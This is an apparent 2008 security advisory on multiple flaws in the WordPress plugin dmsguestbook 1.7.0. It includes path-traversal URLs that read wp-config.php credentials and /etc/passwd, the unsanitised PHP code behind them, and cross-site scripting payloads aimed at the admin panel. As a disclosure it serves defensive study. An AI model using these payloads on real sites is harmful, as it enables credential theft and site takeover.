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Wordpress Plugin dmsguestbook 1.7.0 Multiple Remote Vulnerabilities
by NBBN 2nd, February 2008
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1) File Disclosure
Open the following url you can see the config data of wordpress, with the
mysql-server username and password. In this file you usually have write
permission, so an attacker can place his deface page here:
http://site.tld/wordpress/wp-admin/admin.php?page=dmsguestbook&advanced=
1&folder=language/&file=../../../../wp-config.php
Vuln code:
Line: 652-655
$handle = fopen ($abspath . "wp-content/plugins/dmsguestbook/" .
$_REQUEST[folder] . $_REQUEST[file], "r");
if(is_writable($abspath . "wp-content/plugins/dmsguestbook/" .
$_REQUEST[folder] . $_REQUEST[file])) {
echo "<br />$_REQUEST[file] <font style='color:#00bb00;'>is
writable!</font><br />Set $file readonly again when your finished to
customize!";
$_REQUEST[folder] & $_REQUEST[file] doesn't checked.
Another PoC:
http://localhost/xampp/wordpress/wp-admin/admin.php?page=dmsguestbook&ad
vanced=1&folder=language/&file=../../../../../../../../../../../../../..
/../../etc/passwd
Ok, for this you need an admin account, but you can get an admin account with
the follow xss vulnerabilities.
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2) Cross-Site Scripting Vulnerabilities
a) If the script doesn't find the file, php shows an errormessage, so for xss
open this:
http://site.tldwordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1
&folder=language/&file=<script>alert("XSS")</script>
b) Another vulnerability:
Find the guestbook page. In the messagefield write </textarea>[your xss code].
So, if admin go to the admin panel, to show himself the guestbook, he execute
your xss code
c) Again in the guestbook
Enter your message in the title ">[xss] and in the messagearea:
</textarea>[xss] and enter a wrong captcha-code, you execute the xss code
Note: There more some more XSS-Vuln's.
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3) SQL-Injection Vulnerabilities
There are some SQL-Injection vulnerabilites, but an attacker need an admin
account and if he is in the administration-panel, a sql-injection he not
need.
